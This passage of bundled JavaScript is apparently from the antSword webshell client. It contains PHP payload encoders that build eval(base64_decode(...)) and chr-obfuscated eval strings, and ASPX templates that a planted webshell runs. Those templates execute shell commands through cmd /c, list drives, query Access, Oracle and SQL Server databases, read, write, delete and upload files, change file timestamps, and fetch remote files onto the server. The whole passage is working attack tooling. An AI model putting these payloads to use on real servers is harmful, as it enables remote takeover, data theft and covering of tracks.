data[pwd] = 'eval(base64_decode($_POST[' + randomID + ']));';
delete data['_'];
return data;
};
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(5).Buffer))
/***/ },
/* 25 */
/***/ function(module, exports) {
//
// encoder::chr
//
// chr编码器
// --------
// 利用php函数`chr`进行编码处理
//
'use strict';
module.exports = function (pwd, data) {
// 编码函数
var encode = function encode(php) {
var ret = [];
var i = 0;
while (i < php.length) {
ret.push(php[i].charCodeAt());
i++;
}
return 'eVAl(cHr(' + ret.join(').ChR(') + '));';
};
// 编码并去除多余数据
data[pwd] = encode(data._);
delete data._;
// 返回数据
return data;
};
/***/ },
/* 26 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(global, Buffer) {'use strict';
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 代码模板::asp
//
var iconv = global.require('iconv-lite');
var ASP = function () {
function ASP(opts) {
_classCallCheck(this, ASP);
this.__opts__ = opts;
this.parseTpl(['base', 'command', 'filemanager', 'database/dsn', 'database/mysql', 'database/access', 'database/oracle', 'database/sqlserver', 'database/sqloledb_1', 'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0']);
this.parseEnr([]);
}
// 格式化函数
_createClass(ASP, [{
key: 'format',
value: function format() {
var encode = this.__opts__['encode'] || 'utf8';
return {
base64: function base64(str) {
// 编码
var _str_ = iconv.encode(new Buffer(str), encode);
return new Buffer(_str_).toString('base64');
},
// 转换为16进制::编码
hex: function hex(b) {
var ret = [];
var buff = iconv.encode(new Buffer(b), encode);
buff.toJSON()['data'].map(function (i) {
var _ = i.toString(16);
_.length < 2 ? _ = '0' + _ : null;
ret.push(_);
});
return ret.join('').toUpperCase();
},
// 转换为16进制::不编码
buffer: function buffer(b) {
var ret = [];
b.toJSON()['data'].map(function (i) {
var _ = i.toString(16);
_.length < 2 ? _ = '0' + _ : null;
ret.push(_);
});
return ret.join('').toUpperCase();
}
};
}
// 解析模板
}, {
key: 'parseTpl',
value: function parseTpl(tpl) {
var _this = this;
var _export = {};
// 模板格式化函数
var format = this.format();
// 加载模板代码
tpl.map(function (t) {
// 解析模板
_this[t.replace(/\//g, '_')] = {};
var m = __webpack_require__(27)("./" + t);
for (var _ in m) {
_this[t.replace(/\//g, '_')][_] = function (c) {
// 如果需要参数
if ((typeof c === 'undefined' ? 'undefined' : _typeof(c)) === 'object') {
return function (argv, success, error, hook) {
var data = $.extend({}, c);
// 格式化参数
var _loop = function _loop(d) {
(data[d].match(/#{([\w\:]+)}/g) || []).map(function (tag) {
var _t = tag.substr(2, tag.length - 3);
// 如果需要字符处理
var _f = _t.split('::');
var _ff = void 0;
if (_f.length > 0 && (_ff = format[_f[0]])) {
// _t = _ff(argv[_f[1]] || _t);
_t = _ff(argv[_f[1]] || '');
} else {
// _t = argv[_t] || _t;
_t = argv[_t] || '';
}
data[d] = data[d].replace(tag, _t);
});
};
for (var d in data) {
_loop(d);
}
_this.ajax(data, success, error, hook);
};
} else {
var _ret2 = function () {
var data = {
_: c
};
return {
v: function v(success, error, hook) {
_this.ajax(data, success, error, hook);
}
};
}();
if ((typeof _ret2 === 'undefined' ? 'undefined' : _typeof(_ret2)) === "object") return _ret2.v;
}
}(m[_]);
}
});
}
// 解析编码模块
}, {
key: 'parseEnr',
value: function parseEnr(edr) {
var encoder = {
// 默认编码器
default: function _default(pwd, data) {
data[pwd] = data['_'];
delete data['_'];
return data;
}
};
edr.map(function (_) {
encoder[_] = __webpack_require__(41)("./" + _);
});
this.__encoder__ = encoder;
}
}, {
key: 'ajax',
value: function ajax(code, success, error, hook) {
var post = $.extend({}, code);
// 随机ID(用于监听数据来源)
var hash = (String(+new Date()) + String(Math.random())).substr(10, 10).replace('.', '_');
var tag_s = '-=:{';
var tag_e = '}:=-';
var encode = this.__opts__['encode'] || 'utf8';
var code_base64 = this.format()['base64'](post['_']);
post['_'] = 'Response.Write("' + tag_s + '");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("' + code_base64 + '")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("' + tag_e + '");Response.End();';
// 编码处理模板
var encoder = this.__encoder__[this.__opts__['encoder'] || 'default'] || this.__encoder__['default'];
var data = encoder(this.__opts__['pwd'], post);
// 监听数据返回
antSword['ipcRenderer']
// 请求完毕返回数据{text,buff}
.on('request-' + hash, function (event, arg) {
success(arg['text'], arg['buff']);
})
// HTTP请求返回字节流
.on('request-chunk-' + hash, function (event, ret) {
hook ? hook(ret) : null;
})
// 数据请求错误
.on('request-error-' + hash, function (event, ret) {
error ? error(ret) : null;
})
// 发送请求数据
.send('request', {
url: this.__opts__['url'],
hash: hash,
data: data,
tag_s: tag_s,
tag_e: tag_e,
encode: encode
});
}
}]);
return ASP;
}();
module.exports = ASP;
/* WEBPACK VAR INJECTION */}.call(exports, (function() { return this; }()), __webpack_require__(5).Buffer))
/***/ },
/* 27 */
/***/ function(module, exports, __webpack_require__) {
var map = {
"./argv": 28,
"./argv.jsx": 28,
"./base": 29,
"./base.jsx": 29,
"./command": 30,
"./command.jsx": 30,
"./database/access": 31,
"./database/access.jsx": 31,
"./database/default": 32,
"./database/default.jsx": 32,
"./database/dsn": 33,
"./database/dsn.jsx": 33,
"./database/microsoft_jet_oledb_4_0": 34,
"./database/microsoft_jet_oledb_4_0.jsx": 34,
"./database/mysql": 35,
"./database/mysql.jsx": 35,
"./database/oracle": 36,
"./database/oracle.jsx": 36,
"./database/sqloledb_1": 37,
"./database/sqloledb_1.jsx": 37,
"./database/sqloledb_1_sspi": 38,
"./database/sqloledb_1_sspi.jsx": 38,
"./database/sqlserver": 39,
"./database/sqlserver.jsx": 39,
"./filemanager": 40,
"./filemanager.jsx": 40
};
function webpackContext(req) {
return __webpack_require__(webpackContextResolve(req));
};
function webpackContextResolve(req) {
return map[req] || (function() { throw new Error("Cannot find module '" + req + "'.") }());
};
webpackContext.keys = function webpackContextKeys() {
return Object.keys(map);
};
webpackContext.resolve = webpackContextResolve;
module.exports = webpackContext;
webpackContext.id = 27;
/***/ },
/* 28 */
/***/ function(module, exports) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
/**
* 在模板中使用
* 1. 加载需要的参数列表： import { arg1, arg2, arg3 } from './argv';
* 2. 嵌入代码参数中：codes={[arg1]: `echo "${arg1}";`}...
**/
var random = function random() {
return "0x" + (Math.random() + Math.random()).toString(16).substr(2);
};
var arg1 = exports.arg1 = random();
var arg2 = exports.arg2 = random();
var arg3 = exports.arg3 = random();
var arg4 = exports.arg4 = random();
var arg5 = exports.arg5 = random();
var arg6 = exports.arg6 = random();
/***/ },
/* 29 */
/***/ function(module, exports) {
"use strict";
//
// 基础信息模板
// 获取：当前路径、磁盘列表
//
module.exports = {
info: "var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(\".\")+\" \");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+\":\");"
};
/***/ },
/* 30 */
/***/ function(module, exports, __webpack_require__) {
"use strict";
var _exec;
var _argv = __webpack_require__(28);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// 命令执行模板
//
module.exports = {
exec: (_exec = {
_: "var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item[\"" + _argv.arg1 + "\"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments=\"/c \"+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item[\"" + _argv.arg2 + "\"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());"
}, _defineProperty(_exec, _argv.arg1, "#{base64::bin}"), _defineProperty(_exec, _argv.arg2, "#{base64::cmd}"), _exec)
};
/***/ },
/* 31 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _show_databases, _show_columns, _query;
var _argv = __webpack_require__(28);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// ASPX::access数据库驱动代码模板
//
module.exports = {
// 显示所有数据库
show_databases: (_show_databases = {
_: 'var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"])));Response.Write(Request.Item["' + _argv.arg2 + '"]+"\\t");Conn.Close();'
}, _defineProperty(_show_databases, _argv.arg1, '#{base64::conn}'), _defineProperty(_show_databases, _argv.arg2, '#{dbname}'), _show_databases),
// 显示数据库所有表
show_tables: _defineProperty({
_: 'var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);'
}, _argv.arg1, '#{base64::conn}'),
// 显示表字段
show_columns: (_show_columns = {
_: 'function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg2 + '"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();'
}, _defineProperty(_show_columns, _argv.arg1, '#{base64::conn}'), _defineProperty(_show_columns, _argv.arg2, '#{base64::table}'), _show_columns),
// 执行SQL语句
query: (_query = {
_: 'var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg2 + '"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();'
}, _defineProperty(_query, _argv.arg1, '#{base64::conn}'), _defineProperty(_query, _argv.arg2, '#{base64::sql}'), _query)
};
/***/ },
/* 32 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _show_columns, _query;
var _argv = __webpack_require__(28);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// 默认数据库操作代码模板
//
module.exports = {
// 显示所有数据库
show_databases: _defineProperty({
_: 'var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();'
}, _argv.arg1, '#{base64::conn}'),
// 显示数据库所有表
show_tables: _defineProperty({
_: 'var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);'
}, _argv.arg1, '#{base64::conn}'),
// 显示表字段
show_columns: (_show_columns = {
_: 'function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg2 + '"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();'
}, _defineProperty(_show_columns, _argv.arg1, '#{base64::conn}'), _defineProperty(_show_columns, _argv.arg2, '#{base64::table}'), _show_columns),
// 执行SQL语句
query: (_query = {
_: 'var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg2 + '"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();'
}, _defineProperty(_query, _argv.arg1, '#{base64::conn}'), _defineProperty(_query, _argv.arg2, '#{base64::sql}'), _query)
};
/***/ },
/* 33 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
//
// ASPX::DNS数据库驱动代码模板
//
module.exports = __webpack_require__(32);
/***/ },
/* 34 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
//
// ASPX::microsoft_jet_oledb_4_0数据库驱动代码模板
//
module.exports = __webpack_require__(31);
/***/ },
/* 35 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
//
// ASPX::mysql数据库驱动代码模板
//
module.exports = __webpack_require__(32);
/***/ },
/* 36 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _show_columns, _query;
var _argv = __webpack_require__(28);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// ASPX::oracle数据库驱动代码模板
//
module.exports = {
// 显示所有数据库
show_databases: _defineProperty({
_: 'var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();'
}, _argv.arg1, '#{base64::conn}'),
// 显示数据库所有表
show_tables: _defineProperty({
_: 'var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("SELECT TABLE_NAME FROM ALL_TABLES",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();'
}, _argv.arg1, '#{base64::conn}'),
// 显示表字段
show_columns: (_show_columns = {
_: 'function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg2 + '"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();'
}, _defineProperty(_show_columns, _argv.arg1, '#{base64::conn}'), _defineProperty(_show_columns, _argv.arg2, '#{base64::table}'), _show_columns),
// 执行SQL语句
query: (_query = {
_: 'var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg2 + '"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();'
}, _defineProperty(_query, _argv.arg1, '#{base64::conn}'), _defineProperty(_query, _argv.arg2, '#{base64::sql}'), _query)
};
/***/ },
/* 37 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
//
// ASPX::sqloledb_1数据库驱动代码模板
//
module.exports = __webpack_require__(32);
/***/ },
/* 38 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
//
// ASPX::sqloledb_1_sspi数据库驱动代码模板
//
module.exports = __webpack_require__(32);
/***/ },
/* 39 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _show_tables, _show_columns, _query;
var _argv = __webpack_require__(28);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// ASPX::mysql数据库驱动代码模板
//
module.exports = {
// 显示所有数据库
show_databases: _defineProperty({
_: 'var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();'
}, _argv.arg1, '#{base64::conn}'),
// 显示数据库所有表
show_tables: (_show_tables = {
_: 'var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("USE ["+Request.Item["' + _argv.arg2 + '"]+"];SELECT [name] FROM sysobjects WHERE (xtype=\'U\') ORDER BY 1",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();'
}, _defineProperty(_show_tables, _argv.arg1, '#{base64::conn}'), _defineProperty(_show_tables, _argv.arg2, '#{dbname}'), _show_tables),
// 显示表字段
show_columns: (_show_columns = {
_: 'var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg2 + '"])),Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+" ("+Rs.Fields(1).Value+")\\t");Rs.MoveNext();}Rs.Close();Conn.Close();'
}, _defineProperty(_show_columns, _argv.arg1, '#{base64::conn}'), _defineProperty(_show_columns, _argv.arg2, '#{base64::sql}'), _show_columns),
// 执行SQL语句
query: (_query = {
_: 'var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg2 + '"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["' + _argv.arg1 + '"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;Conn.DefaultDatabase="' + _argv.arg3 + '";var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();'
}, _defineProperty(_query, _argv.arg1, '#{base64::conn}'), _defineProperty(_query, _argv.arg2, '#{base64::sql}'), _defineProperty(_query, _argv.arg3, '#{dbname}'), _query)
};
/***/ },
/* 40 */
/***/ function(module, exports, __webpack_require__) {
"use strict";
var _create_file, _copy, _upload_file, _rename, _retime, _wget;
var _argv = __webpack_require__(28);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// 文件管理模板
//
module.exports = {
dir: _defineProperty({
_: "var D=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item[\"" + _argv.arg1 + "\"]));var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString(\"yyyy-MM-dd HH:mm:ss\");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+\"/\t\"+T(P)+\"\t0\t-\n\");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+\"\t\"+T(P)+\"\t\"+s[i].Length+\"\t-\n\");}"
}, _argv.arg1, "#{base64::path}"),
delete: _defineProperty({
_: "var P:String=System.Convert.FromBase64String(Request.Item[\"" + _argv.arg1 + "\"]);if(System.IO.Directory.Exists(P)){System.IO.Directory.Delete(P,true);}else{System.IO.File.Delete(P);}Response.Write(\"1\");"
}, _argv.arg1, "#{base64::path}"),
create_file: (_create_file = {
_: "var P=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item[\"" + _argv.arg1 + "\"]));var m=new System.IO.StreamWriter(P,false,Encoding.Default);m.Write(System.Convert.FromBase64String(Request.Item[\"" + _argv.arg2 + "\"]));m.Close();Response.Write(\"1\");"
}, _defineProperty(_create_file, _argv.arg1, "#{base64::path}"), _defineProperty(_create_file, _argv.arg2, "#{base64::content}"), _create_file),
read_file: _defineProperty({
_: "var P=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item[\"" + _argv.arg1 + "\"]));var m=new System.IO.StreamReader(P,Encoding.Default);Response.Write(m.ReadToEnd());m.Close();"
}, _argv.arg1, "#{base64::path}"),
copy: (_copy = {
_: "var S=System.Convert.FromBase64String(Request.Item[\"" + _argv.arg1 + "\"]);var D=System.Convert.FromBase64String(Request.Item[\"" + _argv.arg2 + "\"]);function cp(S:String,D:String){if(System.IO.Directory.Exists(S)){var m=new System.IO.DirectoryInfo(S);var i;var f=m.GetFiles();var d=m.GetDirectories();System.IO.Directory.CreateDirectory(D);for (i in f)System.IO.File.Copy(S+\"\\\"+f[i].Name,D+\"\\\"+f[i].Name);for (i in d)cp(S+\"\\\"+d[i].Name,D+\"\\\"+d[i].Name);}else{System.IO.File.Copy(S,D);}}cp(S,D);Response.Write(\"1\");"
}, _defineProperty(_copy, _argv.arg1, "#{base64::path}"), _defineProperty(_copy, _argv.arg2, "#{base64::target}"), _copy),
download_file: _defineProperty({
_: "Response.WriteFile(System.Convert.FromBase64String(Request.Item[\"z1\"]));"
}, _argv.arg1, "#{base64::path}"),
upload_file: (_upload_file = {
_:
// `var P:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");`,
// 修改写入模式Create->Append
"var P:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item[\"" + _argv.arg1 + "\"]));var Z:String=Request.Item[\"" + _argv.arg2 + "\"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Append);fs.Write(B,0,B.Length);fs.Close();Response.Write(\"1\");"
}, _defineProperty(_upload_file, _argv.arg1, "#{base64::path}"), _defineProperty(_upload_file, _argv.arg2, "#{buffer::content}"), _upload_file),
rename: (_rename = {
_: "var src=System.Convert.FromBase64String(Request.Item[\"" + _argv.arg1 + "\"]),dst=System.Convert.FromBase64String(Request.Item[\"" + _argv.arg2 + "\"]);if (System.IO.Directory.Exists(src)){System.IO.Directory.Move(src,dst);}else{System.IO.File.Move(src,dst);}Response.Write(\"1\");"
}, _defineProperty(_rename, _argv.arg1, "#{base64::path}"), _defineProperty(_rename, _argv.arg2, "#{base64::name}"), _rename),
retime: (_retime = {
_: "var DD=System.Convert.FromBase64String(Request.Item[\"" + _argv.arg1 + "\"]),TM=System.Convert.FromBase64String(Request.Item[\"" + _argv.arg2 + "\"]);if(System.IO.Directory.Exists(DD)){System.IO.Directory.SetCreationTime(DD,TM);System.IO.Directory.SetLastWriteTime(DD,TM);System.IO.Directory.SetLastAccessTime(DD,TM);}else{System.IO.File.SetCreationTime(DD,TM);System.IO.File.SetLastWriteTime(DD,TM);System.IO.File.SetLastAccessTime(DD,TM);}Response.Write(\"1\");"
}, _defineProperty(_retime, _argv.arg1, "#{base64::path}"), _defineProperty(_retime, _argv.arg2, "#{base64::time}"), _retime),
mkdir: _defineProperty({
_: "var D=System.Convert.FromBase64String(Request.Item[\"" + _argv.arg1 + "\"]);System.IO.Directory.CreateDirectory(D);Response.Write(\"1\");"
}, _argv.arg1, "#{base64::path}"),
wget: (_wget = {
_: "var X=new ActiveXObject(\"Microsoft.XMLHTTP\");var S=new ActiveXObject(\"Adodb.Stream\");S.Type=1;S.Mode=3;S.Open();X.Open(\"GET\",System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item[\"" + _argv.arg1 + "\"])),false);X.Send();S.Write(X.ResponseBody);S.Position=0;S.SaveToFile(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item[\"" + _argv.arg2 + "\"])),2);S.close;S=null;X=null;Response.Write(\"1\");"
}, _defineProperty(_wget, _argv.arg1, "#{base64::url}"), _defineProperty(_wget, _argv.arg2, "#{base64::path}"), _wget)
};
/***/ },
/* 41 */
/***/ function(module, exports, __webpack_require__) {
var map = {
"./base64": 42,
"./base64.jsx": 42,
"./chr": 43,
"./chr.jsx": 43
};
function webpackContext(req) {
